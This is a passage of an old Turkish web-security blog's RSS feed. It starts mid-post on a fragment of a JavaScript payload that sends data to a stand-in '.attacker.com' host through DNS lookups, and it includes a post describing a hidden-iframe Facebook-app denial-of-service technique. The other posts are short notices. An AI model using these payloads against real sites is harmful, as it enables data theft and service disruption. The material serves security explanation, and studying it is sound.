i.src = &#8220;http://&#8221; + x.substr(7, x.length-8) +&#8221;.attacker.com/&#8221;;</span></td>
</tr>
</tbody>
</table>
</div>
<p style="background: #fafafa;"><span style="color: black; font-family: Arial;">Sure that advanced payloads can be developed with many filter bypassing abilities and etc.The one thing must be done is to wait for administrators to check his site&#8217;s referrers or user-agents.<br />
</span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: red; font-size: 12pt;">Thanks &amp; Credits</span><span style="color: black;"><br />
</span></span></p>
<p style="background: #fafafa;"><span style="font-family: Arial;"><span style="color: black;">Thanks <a href="http://www.webguvenligi.org" onclick="return TrackClick('http%3A%2F%2Fwww.webguvenligi.org','')" target="_blank"></a></span><span style="color: #2244bb; text-decoration: underline;">Bedirhan Urgun</span><span style="color: black;"> for <strong>DNS-channel javascript payload</strong>.<br />
</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=47</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>İstatistik, İstatistik ve Daha Çok İstatistik</title>
		<link>http://www.h-labs.org/blog/?p=44</link>
		<comments>http://www.h-labs.org/blog/?p=44#comments</comments>
		<pubDate>Fri, 16 Oct 2009 20:45:31 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=44</guid>
		<description><![CDATA[Web Application Security Consortium web uygulaması güvenliği ile alakalı zafiyet istatistiklerini derleyip yayınlamış.
Bu gibi çalışmaların esas itibariyle raporu derleyen firmaların reklamları dışında pek kimseye faydası yokmuş gibi görünse de, web uygulaması güvenliği konulu tez, sunum vs. lerde kullanılması açısından işe yarayabilir.
]]></description>
			<content:encoded><![CDATA[<p>Web Application Security Consortium web uygulaması güvenliği ile alakalı zafiyet istatistiklerini derleyip <a href="http://projects.webappsec.org/Web-Application-Security-Statistics" onclick="return TrackClick('http%3A%2F%2Fprojects.webappsec.org%2FWeb-Application-Security-Statistics','yay%C4%B1nlam%C4%B1%C5%9F')">yayınlamış</a>.</p>
<p>Bu gibi çalışmaların esas itibariyle raporu derleyen firmaların reklamları dışında pek kimseye faydası yokmuş gibi görünse de, web uygulaması güvenliği konulu tez, sunum vs. lerde kullanılması açısından işe yarayabilir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=44</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Facebook Uygulamaları ile DoS</title>
		<link>http://www.h-labs.org/blog/?p=34</link>
		<comments>http://www.h-labs.org/blog/?p=34#comments</comments>
		<pubDate>Sun, 27 Sep 2009 11:38:45 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[DoS]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=34</guid>
		<description><![CDATA[Dünkü Web Güvenliği Topluluğu buluşmasında İbrahim Saruhan(sunumunun adresini bulamadim, bulabilen comment atsın) bu konuda keyifli bir sunum yaptı.
Eğer çok sayıda kişinin kullandığı bir Facebook uygulaması sahibiyseniz, uygulamanızı Underground Marketlerde DoS (Denial of Service) hizmeti olarak satmamanız için hiçbir sebep yok. Söz konusu atak ile sizin uygulamanızı kullanan Facebook kullanıcılarını kullanarak hedef alınan domain &#8216;e çok [...]]]></description>
			<content:encoded><![CDATA[<p>Dünkü Web Güvenliği Topluluğu buluşmasında İbrahim Saruhan(sunumunun adresini bulamadim, bulabilen comment atsın) bu konuda keyifli bir sunum yaptı.</p>
<p>Eğer çok sayıda kişinin kullandığı bir Facebook uygulaması sahibiyseniz, uygulamanızı Underground Marketlerde DoS (Denial of Service) hizmeti olarak satmamanız için hiçbir sebep yok. Söz konusu atak ile sizin uygulamanızı kullanan Facebook kullanıcılarını kullanarak hedef alınan domain &#8216;e çok sayıda istek yaparak DoS atağı gerçekleştirmek mümkün. Problem facebook uygulamalarında iframe &#8216;ler aracılığı ile DoS kurbanı olacak hedefe istekler yapılabilmesi. Aşağıdaki örnek kod [1], ilgili atağın tek teknik gereksinimi :</p>
<div>
<table style="border-collapse:collapse; background: #e5e5e5" border="0">
<colgroup span="1">
<col style="width: 500px;" span="1"></col>
</colgroup>
<tbody>
<tr style="height: 15px;">
<td style="padding-left: 7px; padding-right: 7px; border-top:  solid black 0.5pt; border-left:  solid black 0.5pt; border-bottom:  solid black 0.5pt; border-right:  solid black 0.5pt"><span style="color:black; font-family:Courier New">&lt;iframe name=&#8221;1&#8243; style=&#8221;border: 0px none #ffffff;<br />
</span><span style="color:black; font-family:Courier New">width: 0px; height: 0px;&#8221;<br />
</span><span style="color:black; font-family:Courier New">src=&#8221;http://victim-host/image1.jpg?<br />
</span></p>
<p><span style="color:black; font-family:Courier New">&lt;/iframe&gt;&lt;br/&gt;</span></td>
</tr>
</tbody>
</table>
</div>
<p>Kodun ilk 3 satırı önemli. Koddaki iframe objesinin src parametresi <a href="http://victim-host/image1.jpg" onclick="return TrackClick('http%3A%2F%2Fvictim-host%2Fimage1.jpg','http%3A%2F%2Fvictim-host%2Fimage1.jpg')"><span style="font-family:Courier New">http://victim-host/image1.jpg</span></a><span style="color:black"><span style="font-family:Courier New"><br />
</span>adresindeki resim için HTTP isteği gerçekleştiriyor. Bir istek DoS yapmak için yeterli değil, haliyle sonsuz bir döngü içerisinde durmadan hedef domain &#8216;e HTTP istekleri oluşturacak bir kod lazım ve bunu yazmak da oldukça basit. Burada saldırının teknik tarafı bitiyor, insanların ilgili uygulamayı kullanmalarını bekliyorsunuz ve uygulama çalıştıkça kurbanınızın browser&#8217;ı sizin için hedef domain &#8216;e durmadan istekler yolluyor.<br />
</span></p>
<p><span style="color:black">İki bottleneck&#8217;e dikkat çekmek gerekirse :<br />
</span></p>
<ul>
<li>Atağın tek gereksinimi popüler bir uygulamaya sahip olmak</li>
<li>Uygulamanın ne yaptığı anlaşılır anlaşılmaz Facebook tarafından silinecektir.</li>
</ul>
<p><span style="color:black">Söz konusu atak vektörü Yunanistan&#8217;lı bir grup araştırmacı tarafından geliştirilmiştir. Orjinal makaleye referanslardan erişilebilir.<br />
</span></p>
<h2>Sonuçlar</h2>
<ul>
<li>Diğer sosyal platformlarda da benzer atak vektörleri geliştirilebilir.</li>
<li>Web2.0 ile beraber popülerleşen istemci tabanlı ataklara bir yenisi daha eklendi ve eklenmeye devam edecek.</li>
<li>Kayıt olduğunuz uygulamalara dikkat edin, saldırıya alet olabilirsiniz.</li>
</ul>
<h2>Referanslar</h2>
<ol>
<li>E. Athanasopoulos, A. Makridakis, S. Antonatos, D. Antoniades, S. Ioannidis, K. G. Anagnostakis2, E. P. Markatos, &#8220;Antisocial Networks: Turning a Social Network into a Botnet&#8221;, http://i.zdnet.com/blogs/facebotisc08.pdf</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=34</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>RSS Feed Adreslerinizi Güncellemeyi Unutmayın</title>
		<link>http://www.h-labs.org/blog/?p=32</link>
		<comments>http://www.h-labs.org/blog/?p=32#comments</comments>
		<pubDate>Sun, 27 Sep 2009 10:17:45 +0000</pubDate>
		<dc:creator>Mesut Timur</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[blog]]></category>
		<category><![CDATA[feed]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/blog/?p=32</guid>
		<description><![CDATA[Blog yazılımımız değiştiği için RSS feed adresi de değişmiş bulunmaktadır. Eski feed adresimiz artık çalışmamaktadır. Yeni feed&#8217;imize subscribe olunuz.
]]></description>
			<content:encoded><![CDATA[<p>Blog yazılımımız değiştiği için RSS feed adresi de değişmiş bulunmaktadır. Eski feed adresimiz artık çalışmamaktadır. Yeni feed&#8217;imize subscribe olunuz.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=32</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Lifeoverip Güvenlik Bülteni</title>
		<link>http://www.h-labs.org/blog/?p=11</link>
		<comments>http://www.h-labs.org/blog/?p=11#comments</comments>
		<pubDate>Wed, 09 Sep 2009 21:57:56 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[bulten]]></category>
		<category><![CDATA[lifeoverip]]></category>

		<guid isPermaLink="false">http://www.h-labs.org/wptest/?p=11</guid>
		<description><![CDATA[Haftalık olarak yayınlanan ve güvenlik dünyasındaki gelişmeleri aktaran Lifeoverip Güvenlik Bülteni&#8217;nin 2. sayısı yayınlanmış. Şiddetle tavsiye edilir.
]]></description>
			<content:encoded><![CDATA[<p>Haftalık olarak yayınlanan ve güvenlik dünyasındaki gelişmeleri aktaran Lifeoverip Güvenlik Bülteni&#8217;nin 2. sayısı <a href="http://www.lifeoverip.net/newsletter/sayi02/" onclick="return TrackClick('http%3A%2F%2Fwww.lifeoverip.net%2Fnewsletter%2Fsayi02%2F','yay%C4%B1nlanm%C4%B1%C5%9F')">yayınlanmış</a>. Şiddetle tavsiye edilir.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.h-labs.org/blog/?feed=rss2&amp;p=11</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
